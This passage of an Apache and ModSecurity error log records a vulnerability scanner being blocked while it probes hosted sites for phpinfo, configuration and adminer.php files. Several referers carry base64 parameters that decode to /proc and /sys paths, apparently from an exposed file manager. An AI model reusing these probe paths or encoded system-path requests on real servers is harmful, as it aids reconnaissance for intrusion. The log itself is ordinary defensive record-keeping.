line 696\n, referer: https://www.google.com/ [Sat Jun 13 18:09:55.734822 2026] [access_compat:error] [pid 531797:tid 531891] [remote 57.141.14.106:28867] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:55.735094 2026] [access_compat:error] [pid 531797:tid 531891] [remote 57.141.14.106:28867] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:55.830148 2026] [security2:error] [pid 531155:tid 531223] [remote 17.22.237.15:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 15.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xUymiP80klyS0Nnr0rQABTEM"] [Sat Jun 13 18:09:55.906884 2026] [access_compat:error] [pid 531155:tid 531213] [remote 57.141.14.26:47590] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:55.907325 2026] [access_compat:error] [pid 531155:tid 531213] [remote 57.141.14.26:47590] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:55.918541 2026] [security2:error] [pid 531155:tid 531283] [remote 74.7.227.22:45002] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 22.227.7.74.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.homs.co.ke"] [uri "/"] [unique_id "ai3xUymiP80klyS0Nnr0swABWH8"], referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxODAzL2N3ZC9BYQ== [Sat Jun 13 18:09:55.990704 2026] [access_compat:error] [pid 531797:tid 531892] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9wcm9jL2ZzL25mc2Q= [Sat Jun 13 18:09:55.991151 2026] [access_compat:error] [pid 531797:tid 531892] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9wcm9jL2ZzL25mc2Q= [Sat Jun 13 18:09:56.028802 2026] [security2:error] [pid 531797:tid 532079] [client 172.171.3.232:64133] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mcips.co.uk"] [uri "/pass.php"] [unique_id "ai3xVMTA7b1mZrmcA-8fQAAAAmU"] [Sat Jun 13 18:09:56.071290 2026] [access_compat:error] [pid 531155:tid 531214] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvZGV2aWNlL2V2ZW50Ni9zdWJzeXN0ZW0vaW5wdXQ3 [Sat Jun 13 18:09:56.071591 2026] [access_compat:error] [pid 531155:tid 531214] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvZGV2aWNlL2V2ZW50Ni9zdWJzeXN0ZW0vaW5wdXQ3 [Sat Jun 13 18:09:56.234797 2026] [access_compat:error] [pid 531155:tid 531229] [remote 57.141.14.75:60890] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:56.235220 2026] [access_compat:error] [pid 531155:tid 531229] [remote 57.141.14.75:60890] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:56.243183 2026] [security2:error] [pid 531797:tid 531907] [remote 17.22.237.58:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 58.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xVMTA7b1mZrmcA-8fSgACXys"] [Sat Jun 13 18:09:56.259143 2026] [access_compat:error] [pid 531155:tid 531224] [remote 57.141.14.80:46713] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:56.259580 2026] [access_compat:error] [pid 531155:tid 531224] [remote 57.141.14.80:46713] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:56.262395 2026] [autoindex:error] [pid 531797:tid 532004] [client 43.130.67.6:37908] AH01276: Cannot serve directory /home3/tutiend2/public_html/: No matching DirectoryIndex (index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.php,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive [Sat Jun 13 18:09:56.341728 2026] [security2:error] [pid 531797:tid 532007] [client 91.92.42.86:16256] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "guu.rog.mybluehost.me"] [uri "/server_info.php"] [unique_id "ai3xVMTA7b1mZrmcA-8fUQAAAh8"], referer: http://guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.344525 2026] [security2:error] [pid 531797:tid 532023] [client 91.92.42.86:16242] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "guu.rog.mybluehost.me"] [uri "/php_info.php"] [unique_id "ai3xVMTA7b1mZrmcA-8fVAAAAi8"], referer: http://guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.345685 2026] [security2:error] [pid 531797:tid 532096] [client 91.92.42.86:16294] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "guu.rog.mybluehost.me"] [uri "/index.php"] [unique_id "ai3xVMTA7b1mZrmcA-8fVQAAAnU"], referer: http://guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.346143 2026] [security2:error] [pid 531797:tid 532099] [client 91.92.42.86:16252] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "guu.rog.mybluehost.me"] [uri "/pinfo.php"] [unique_id "ai3xVMTA7b1mZrmcA-8fVgAAAng"], referer: http://guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.358748 2026] [security2:error] [pid 531797:tid 532048] [client 91.92.42.86:16298] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "guu.rog.mybluehost.me"] [uri "/portal/phpinfo.php"] [unique_id "ai3xVMTA7b1mZrmcA-8fVwAAAkY"], referer: http://guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.360985 2026] [security2:error] [pid 531797:tid 532037] [client 91.92.42.86:16300] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "guu.rog.mybluehost.me"] [uri "/configuration.php"] [unique_id "ai3xVMTA7b1mZrmcA-8fWAAAAjw"], referer: http://guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.371073 2026] [security2:error] [pid 531797:tid 532012] [client 91.92.42.86:16320] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "guu.rog.mybluehost.me"] [uri "/phpinfo/info.php"] [unique_id "ai3xVMTA7b1mZrmcA-8fWwAAAiQ"], referer: http://guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.388032 2026] [security2:error] [pid 531797:tid 532086] [client 91.92.42.86:16324] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "guu.rog.mybluehost.me"] [uri "/functions.php"] [unique_id "ai3xVMTA7b1mZrmcA-8fXgAAAmw"], referer: http://guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.396605 2026] [security2:error] [pid 531797:tid 531867] [remote 74.7.242.16:57868] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 16.242.7.74.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.homs.co.ke"] [uri "/adminer.php"] [unique_id "ai3xVMTA7b1mZrmcA-8fXwACFAM"], referer: https://www.homs.co.ke/?action=adminer&p=Ly9wcm9jL2ZzL25mc2Q= [Sat Jun 13 18:09:56.451298 2026] [security2:error] [pid 531797:tid 532021] [client 91.92.42.86:16334] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "autodiscover.guu.rog.mybluehost.me"] [uri "/phpinfo/info.php"] [unique_id "ai3xVMTA7b1mZrmcA-8fYgAAAi0"], referer: http://autodiscover.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.463845 2026] [security2:error] [pid 531797:tid 532051] [client 91.92.42.86:16378] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.guu.rog.mybluehost.me"] [uri "/phpinfo/info.php"] [unique_id "ai3xVMTA7b1mZrmcA-8fZgAAAkk"], referer: http://cpanel.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.464159 2026] [security2:error] [pid 531797:tid 532081] [client 91.92.42.86:16370] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "guu.rog.mybluehost.me"] [uri "/test.php"] [unique_id "ai3xVMTA7b1mZrmcA-8fZwAAAmc"], referer: http://guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.469643 2026] [security2:error] [pid 531155:tid 531388] [client 91.92.42.86:16382] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "autodiscover.guu.rog.mybluehost.me"] [uri "/test.php"] [unique_id "ai3xVCmiP80klyS0Nnr0vgAAAXE"], referer: http://autodiscover.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.524679 2026] [security2:error] [pid 531155:tid 531409] [client 91.92.42.86:16434] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcontacts.guu.rog.mybluehost.me"] [uri "/index.php"] [unique_id "ai3xVCmiP80klyS0Nnr0vwAAAYY"], referer: http://cpcontacts.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.526841 2026] [security2:error] [pid 531155:tid 531354] [client 91.92.42.86:16464] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.guu.rog.mybluehost.me"] [uri "/functions.php"] [unique_id "ai3xVCmiP80klyS0Nnr0wAAAAU8"], referer: http://cpcalendars.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.527148 2026] [security2:error] [pid 531797:tid 532018] [client 91.92.42.86:16460] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "autodiscover.guu.rog.mybluehost.me"] [uri "/php_info.php"] [unique_id "ai3xVMTA7b1mZrmcA-8fawAAAio"], referer: http://autodiscover.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.528155 2026] [proxy:error] [pid 531797:tid 532036] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:09:56.528209 2026] [proxy_http:error] [pid 531797:tid 532036] [client 91.92.42.86:16468] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.528862 2026] [proxy:error] [pid 531797:tid 532036] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:09:56.528900 2026] [proxy_http:error] [pid 531797:tid 532036] [client 91.92.42.86:16468] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.529170 2026] [security2:error] [pid 531797:tid 532127] [client 91.92.42.86:16454] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcontacts.guu.rog.mybluehost.me"] [uri "/functions.php"] [unique_id "ai3xVMTA7b1mZrmcA-8fbAAAApI"], referer: http://cpcontacts.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.529607 2026] [proxy:error] [pid 531155:tid 531286] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:09:56.529628 2026] [security2:error] [pid 531797:tid 532082] [client 91.92.42.86:16410] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "autodiscover.guu.rog.mybluehost.me"] [uri "/index.php"] [unique_id "ai3xVMTA7b1mZrmcA-8fbgAAAmg"], referer: http://autodiscover.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.529643 2026] [security2:error] [pid 531797:tid 532115] [client 91.92.42.86:16446] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.guu.rog.mybluehost.me"] [uri "/test.php"] [unique_id "ai3xVMTA7b1mZrmcA-8fbwAAAog"], referer: http://cpanel.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.529662 2026] [proxy_http:error] [pid 531155:tid 531286] [client 91.92.42.86:16448] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.530356 2026] [proxy:error] [pid 531155:tid 531286] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:09:56.530390 2026] [proxy_http:error] [pid 531155:tid 531286] [client 91.92.42.86:16448] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.532212 2026] [proxy:error] [pid 531797:tid 532015] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:09:56.532248 2026] [proxy_http:error] [pid 531797:tid 532015] [client 91.92.42.86:16432] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.532514 2026] [proxy:error] [pid 531797:tid 532076] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:09:56.532582 2026] [proxy_http:error] [pid 531797:tid 532076] [client 91.92.42.86:16408] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.532764 2026] [proxy:error] [pid 531797:tid 532015] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:09:56.532790 2026] [proxy_http:error] [pid 531797:tid 532015] [client 91.92.42.86:16432] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.533294 2026] [proxy:error] [pid 531797:tid 532076] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:09:56.533332 2026] [proxy_http:error] [pid 531797:tid 532076] [client 91.92.42.86:16408] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.535597 2026] [security2:error] [pid 531797:tid 532107] [client 91.92.42.86:16484] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.guu.rog.mybluehost.me"] [uri "/pinfo.php"] [unique_id "ai3xVMTA7b1mZrmcA-8fdAAAAoA"], referer: http://cpcalendars.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.540752 2026] [security2:error] [pid 531797:tid 532109] [client 91.92.42.86:16494] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.guu.rog.mybluehost.me"] [uri "/php_info.php"] [unique_id "ai3xVMTA7b1mZrmcA-8fdgAAAoI"], referer: http://cpcalendars.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.542059 2026] [proxy:error] [pid 531797:tid 531998] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:09:56.542114 2026] [proxy_http:error] [pid 531797:tid 531998] [client 91.92.42.86:16524] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.542801 2026] [proxy:error] [pid 531797:tid 531998] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:09:56.542838 2026] [proxy_http:error] [pid 531797:tid 531998] [client 91.92.42.86:16524] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.544983 2026] [security2:error] [pid 531797:tid 532064] [client 91.92.42.86:16532] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "autodiscover.guu.rog.mybluehost.me"] [uri "/server_info.php"] [unique_id "ai3xVMTA7b1mZrmcA-8feQAAAlY"], referer: http://autodiscover.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.552395 2026] [access_compat:error] [pid 531797:tid 531923] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3N5cy9mcy9mdXNl [Sat Jun 13 18:09:56.552699 2026] [access_compat:error] [pid 531797:tid 531923] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3N5cy9mcy9mdXNl [Sat Jun 13 18:09:56.555947 2026] [security2:error] [pid 531797:tid 532062] [client 91.92.42.86:16542] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "autodiscover.guu.rog.mybluehost.me"] [uri "/functions.php"] [unique_id "ai3xVMTA7b1mZrmcA-8fewAAAlQ"], referer: http://autodiscover.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.555966 2026] [security2:error] [pid 531797:tid 532025] [client 91.92.42.86:16550] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.guu.rog.mybluehost.me"] [uri "/portal/phpinfo.php"] [unique_id "ai3xVMTA7b1mZrmcA-8ffAAAAjE"], referer: http://cpcalendars.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.558493 2026] [proxy:error] [pid 531797:tid 532049] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:09:56.558548 2026] [proxy_http:error] [pid 531797:tid 532049] [client 91.92.42.86:16554] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.559218 2026] [proxy:error] [pid 531797:tid 532049] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:09:56.559253 2026] [proxy_http:error] [pid 531797:tid 532049] [client 91.92.42.86:16554] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.576984 2026] [access_compat:error] [pid 531155:tid 531165] [remote 216.73.216.182:42312] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:56.577242 2026] [access_compat:error] [pid 531155:tid 531165] [remote 216.73.216.182:42312] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:56.582547 2026] [security2:error] [pid 531797:tid 532126] [client 91.92.42.86:16604] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "autodiscover.guu.rog.mybluehost.me"] [uri "/portal/phpinfo.php"] [unique_id "ai3xVMTA7b1mZrmcA-8fhQAAApE"], referer: http://autodiscover.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.583250 2026] [security2:error] [pid 531797:tid 532125] [client 91.92.42.86:16584] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.guu.rog.mybluehost.me"] [uri "/php_info.php"] [unique_id "ai3xVMTA7b1mZrmcA-8fhgAAApA"], referer: http://cpanel.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.585296 2026] [security2:error] [pid 531797:tid 532009] [client 91.92.42.86:16624] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcontacts.guu.rog.mybluehost.me"] [uri "/portal/phpinfo.php"] [unique_id "ai3xVMTA7b1mZrmcA-8fhwAAAiE"], referer: http://cpcontacts.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.585431 2026] [security2:error] [pid 531797:tid 532019] [client 91.92.42.86:16598] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.guu.rog.mybluehost.me"] [uri "/server_info.php"] [unique_id "ai3xVMTA7b1mZrmcA-8fiAAAAis"], referer: http://cpcalendars.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.587146 2026] [security2:error] [pid 531155:tid 531289] [client 91.92.42.86:16634] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.guu.rog.mybluehost.me"] [uri "/test.php"] [unique_id "ai3xVCmiP80klyS0Nnr0xQAAAQ4"], referer: http://cpcalendars.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:56.591725 2026] [proxy:error] [pid 531155:tid 531404] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:09:56.591784 2026] [proxy_http:error] [pid 531155:tid 531404] [client 